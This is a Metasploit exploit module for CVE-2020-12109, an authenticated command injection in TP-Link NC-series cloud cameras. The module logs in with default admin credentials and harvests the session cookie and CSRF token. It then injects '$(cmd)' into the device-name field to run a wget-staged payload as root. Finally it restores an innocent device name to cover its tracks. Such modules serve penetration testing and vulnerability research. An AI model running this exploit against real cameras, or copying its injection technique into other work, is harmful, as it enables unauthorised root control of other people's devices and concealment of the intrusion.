##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
        'Description' => %q{
          TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
          NC250, NC260, NC450) are vulnerable to an authenticated command
          injection. In all devices except NC210, despite a check on the name length in
          swSystemSetProductAliasCheck, no other checks are in place in order
          to prevent shell metacharacters from being introduced. The system name
          would then be used in swBonjourStartHTTP as part of a shell command
          where arbitrary commands could be injected and executed as root. NC210 devices
          cannot be exploited directly via /setsysname.cgi due to proper input
          validation. NC210 devices are still vulnerable since swBonjourStartHTTP
          did not perform any validation when reading the alias name from the
          configuration file. The configuration file can be written, and code
          execution can be achieved by combining this issue with CVE-2020-12110.
        },
        'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ],
          [ 'CVE', '2020-12109']
        ],
        'DisclosureDate' => '2020-04-29',
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSLE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'Targets' => [
          [
            'TP-Link NC200, NC220, NC230, NC250',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ 'wget' ]
            }
          ],
          [
            'TP-Link NC260, NC450',
            {
              'Arch' => ARCH_MIPSLE,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ 'wget' ],
              'DefaultOptions' => { 'SSL' => true }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The web interface password for the specified username', 'admin' ])
      ]
    )
  end

  def login
    user = datastore['USERNAME']
    pass = Base64.strict_encode64(datastore['PASSWORD'])
    if target.name == 'TP-Link NC260, NC450'
      pass = Rex::Text.md5(pass)
    end

    print_status("Authenticating with #{user}:#{pass} ...")
    begin
      res = send_request_cgi({
        'uri' => '/login.fcgi',
        'method' => 'POST',
        'vars_post' => {
          'Username' => user,
          'Password' => pass
        }
      })
      if res.nil? || res.code == 404
        fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?')
      end
      if res.body =~ /"errorCode":0/ && res.headers.key?('Set-Cookie') && res.body =~ /token/
        print_good("Logged-in as #{user}")
        @cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1]
        print_good("Got cookie: #{@cookie}")
        @token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1]
        print_good("Got token: #{@token}")
      else
        fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Connection failed')
    end
  end

  def enable_bonjour
    res = send_request_cgi({
      'uri' => '/setbonjoursetting.fcgi',
      'method' => 'POST',
      'encode_params' => false,
      'cookie' => "sess=#{@cookie}",
      'vars_post' => {
        'bonjourState' => '1',
        'token' => @token.to_s
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
    return nil
  end

  def sys_name(cmd)
    res = send_request_cgi({
      'uri' => '/setsysname.fcgi',
      'method' => 'POST',
      'encode_params' => true,
      'cookie' => "sess=#{@cookie}",
      'vars_post' => {
        'sysname' => cmd,
        'token' => @token.to_s
      }
    })
    return res
  rescue ::Rex::ConnectionError
    vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
    return nil
  end

  def execute_command(cmd, _opts = {})
    print_status("Executing command: #{cmd}")
    sys_name("$(#{cmd})")
  end

  def exploit
    login # Get cookie and csrf token
    enable_bonjour # Enable bonjour service
    execute_cmdstager # Upload and execute payload
    sys_name('NC200') # Set back an innocent-looking device name
  end

end
